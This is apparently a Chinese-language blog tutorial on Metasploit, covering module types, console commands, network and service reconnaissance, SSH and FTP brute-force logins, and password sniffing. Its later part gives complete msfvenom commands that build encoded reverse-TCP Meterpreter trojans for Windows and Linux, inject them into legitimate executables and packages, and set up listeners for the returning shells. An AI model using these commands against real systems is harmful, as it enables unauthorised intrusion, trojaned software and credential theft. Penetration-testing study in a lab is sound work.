MSF

Metasploit介绍

模块结构

Exploits

  • 渗透攻击模块,渗透漏洞利用模块

Aux

  • 辅助模块,扫描和一些信息收集

Post

  • 后渗透模块

Payloads

  • 攻击载荷模块,目标机器执行的代码

Encoders

  • 对攻击代码进行编码,起到免杀作用

Nops

  • 控制类模块,提高攻击代码的稳定性

目录结构

cd /usr/share/metasploit-framework

  • data:metasploit的可编辑文件
  • documentation:框架的文档
  • lib:框架代码库
  • modules:实际的MSF模块
  • plugins:可在运行时加载的插件
  • scripts:Meterpreter和其他脚本
  • tools:各种有用的命令行工具

如何使用

  • metasploit需要搭配Postgresql数据库
  1. 启动Postgresql数据库

    手动启动

    systemctl start postgresql

    开机启动

    systemctl enable postgresql

    数据库初始化

    msfdb init

  2. 启动msf

    msfconsole

    msfdb run

  3. 常见的指令

    connect【连接目标端口】

    connect blog.csdn.net 80

    输入 get /【发送一个get请求查看回应的信息可能包含服务器等其他信息】

    show【查看模块和选项】

    show exception【查看模块】

    use 加载完模块后

    show options【查看设置】

    show targets 【查看针对哪些目标】

    search【查找】

    search name:mysql 【根据名称进行搜索】

    search path:mysql 【根据路径进行搜索】

    search platform:linux 【根据操作系统进行搜索】

    search type:exploit 【根据类型搜索】

    search cve:CVE-2017-8464 【根据CVE进行搜索】

    search cve:2018 type:exploit platform:linux name:mysql 【组合搜索,搜索cve是2018年的linux系统关于mysql的exploit】

    use【加载模块】

    use exploit/windows/smb/ms08_067_netapi

    back【退出加载模块】

    break

    info【显示模块的详细信息】

    info exploit/windows/smb/ms08_067_netapi

    set和unset【设置参数和取消设置参数】

    set rhosts 192.168.31.122

    unset rhosts

  4. 漏洞Rank

    • 每一个漏洞利用模块都是基于他们对目标系统的潜在影响被标记了一个Rank基于这个来进行排名
    级别 说明
    excellent 漏洞利用绝不会使目标服务器崩溃【SQL注入、命令注入、远程文件包含、本地文件包含】
    great 该漏洞利用程序有一个默认的目标系统,且可以自动检测适当的目标系统或者在目标服务的版本检查之后可以返回一个特定的返回地址
    good 该漏洞利用程序有一个默认的目标系统,并且是这种类型软件的“常见情况”(Windows 2007服务器的2012等)
    normal 该漏洞利用程序是可靠的,但依赖特定的版本,并且不能或者不能可靠的自动监测
    average 该漏洞不可靠或者难以利用
    low 对于通用平台而言,该漏洞利用程序几乎不能利用【低于50%】
    manual 该漏洞利用程序不稳定或者难以利用并且基于DOS,如果一个模块只有在用户特别配置该模块的时候才会被用到,否则该模块不会被使用到

信息收集

基于TCP协议收集主机信息

存活主机信息收集

利用nmap和arp_sweep进行扫描

  • db_nmap -sV 192.168.0.118
  • use auxiliary/scanner/discovery/arp_sweep
  • show options
  • set rhosts 192.168.0.0/24
  • set ThREADS 25
  • run

端口信息收集

使用半连接方式扫描TCP端口

  • search portscan
  • use auxiliary/scanner/syn
  • show options
  • set rhosts 192.168.0.120

基于SNMP协议收集主机信息

161端口

  • 简单的网络管理协议,由一组网络管理的标准组成,包括一个应用层协议、数据库模型和一组资源对象
  • 该协议能够支持网络管理系统,用以检测连接到网络上的设备是否有任何引起管理关注的情况

利用snmp_enum来进行收集

  • use auxiliary/scanner/snmp/snmp_enum
  • show options
  • set rhosts 192.168.0.118
  • run

注意:该服务【SNMP】默认不对外开放,需要进行修改

linux:vim /etc/default/snmp 127.0.0.0修改成0.0.0.0 保存 /etc/init.d/snmp restart netstat -antup | grep 161

windows:开始 - 控制面板 - 添加或删除程序 - 添加或删除组件 - 管理和监事工具 - 全部安装 - win+r - 输入services.msc - 找到SNMP service - 右键属性 - 安全 - 添加一个团体名称'public' 随便权限 - 选中接受任何主机的SNMP数据包

基于SMP协议收集主机信息

445端口

网络文件共享,一种应用层网络传输协议

使用smb_version扫描操作系统版本号

  • search smb_version
  • use auxiliary/scanner/smb/smb_version
  • set rhosts 192.168.0.120
  • run

使用smb_enumshares基于SMB协议扫描共享文件【需要目标的账号、密码】

  • search smb_enumshares
  • use auxiliary/scanner/smb/smb_enumshares
  • set rhosts 192.168.0.104
  • set SMBuser administrator
  • set SMBpasswd 1234.a
  • run

使用smb_lookupsid扫描用户信息【SID枚举】

  • search smb_lookupsid
  • use auxiliary/scanner/smb/smb_lookupsid
  • set rhosts 192.168.0.104
  • set SMBuser administrator
  • set SMBpasswd 1234.a
  • run

基于SSH协议收集主机信息

查看SSH服务的版本信息

  • search ssh_version
  • use auxiliary/scanner/ssh/ssh_version
  • set rhosts 192.168.0.104
  • run

对SSH进行暴力破解

  • search ssh_login
  • use auxiliary/scanner/ssh/ssh_login
  • show options
  • set rhosts 192.168.0.119
  • set STOP_ON_SUCCESS true
  • set VERBOSE true 【显示暴力破解的详细过程】
  • 可以指定用户字典【set user_file /字典/ssh_user.txt】和密码字典【set pass_file /字典/ssh_passwd.txt】
  • 也可以指定用户密码字典【kali自带了一个用户密码字典,在/usr/share/metsploit-framework/data/wordlist/root_userpasswd.txt】
  • run

基于FTP协议收集主机信息

查看FTP服务的版本信息

  • search ftp_version
  • use auxiliary/scanner/ftp/ftp_version
  • show options
  • set rhosts 192.168.0.104

ftp匿名登录扫描

  • use auxiliary/scanner/ftp/anonymous
  • set rhosts 192.168.0.119
  • run

ftp暴力破解

  • use auxiliary/scanner/ftp/ftp_login
  • set rhosts 192.168.0.119
  • set STOP_ON_SUCCESS true
  • set VERBOSE true 【显示暴力破解的详细过程】
  • 可以指定用户字典【set user_file /字典/ssh_user.txt】和密码字典【set pass_file /字典/ssh_passwd.txt】
  • 也可以指定用户密码字典【kali自带了一个用户密码字典,在/usr/share/metsploit-framework/data/wordlist/root_userpasswd.txt】
  • run

制作恶意软件获取shell

windows

简单的制作后门程序

  • msfvenom是msfpayload和msfencode的结合体,可以利用msfvenom生成木马程序,并在目标机上执行,在本地进行监听
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.0.114 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 -f exe -o /home/1.exe
  • -a:指定框架【x86、x64】
  • --platform:指定平台
  • -p:指定payload
  • LHOST:指定本机IP
  • LPORT:指定本地监听端口
  • -b:去掉16进制的空字符
  • -e:指定编码器
  • -i:编码次数
  • -f:指定类型
  • -o:指定输出文件的路径

给真正的软件植入恶意软件

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.0.114 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -x 看.exe -i 10 -f exe -o /home/1.exe
  • -x:添加需要植入后门的软件

监听

  • use exploit/multi/handler
  • set payload windows/x64/meterpreter/reverse_tcp
  • show options
  • set lhost 192.168.0.117
  • set lport 4444
  • run

Linux

简单的制作后门程序

  • msfvenom是msfpayload和msfencode的结合体,可以利用msfvenom生成木马程序,并在目标机上执行,在本地进行监听
msfvenom -a x86 --platform linux -p linux/meterpreter/reverse_tcp LHOST=192.168.0.114 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 -f elf -o /home/aaa

给软件包植入恶意软件

  • apt install freesweep --download-only 这是只下载软件包,不会进行安装
  • dpkg -x freesweep free 把软件包解到free目录下
msfvenom -a x86 --platform linux -p linux/meterpreter/reverse_tcp LHOST=192.168.0.114 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 -f elf -o /home/aaa

监听

  • use exploit/multi/handler
  • set payload linux/x64/meterpreter/reverse_tcp
  • show options
  • set lhost 192.168.0.117
  • set lport 4444
  • run

其他

密码嗅探收集

  • 使用auxiliary/sniffer/psnuffle模块进行密码嗅探

这个模块只支持pop3imapftphttpget协议

  • FILTER:过滤的参数
  • INTERFACE:指定网卡
  • PCAPFILE:wireshark抓的数据包,可以从中进行嗅探密码
  • PROTOCOLS:指定所有支持的协议
  • SNAPLEN:数据包最大大小
  • TIMEOUT:超时时间

直接run运行

  • 捕获结果
posted @ 2022-07-12 18:23  余星酒  阅读(279)  评论(0)    收藏  举报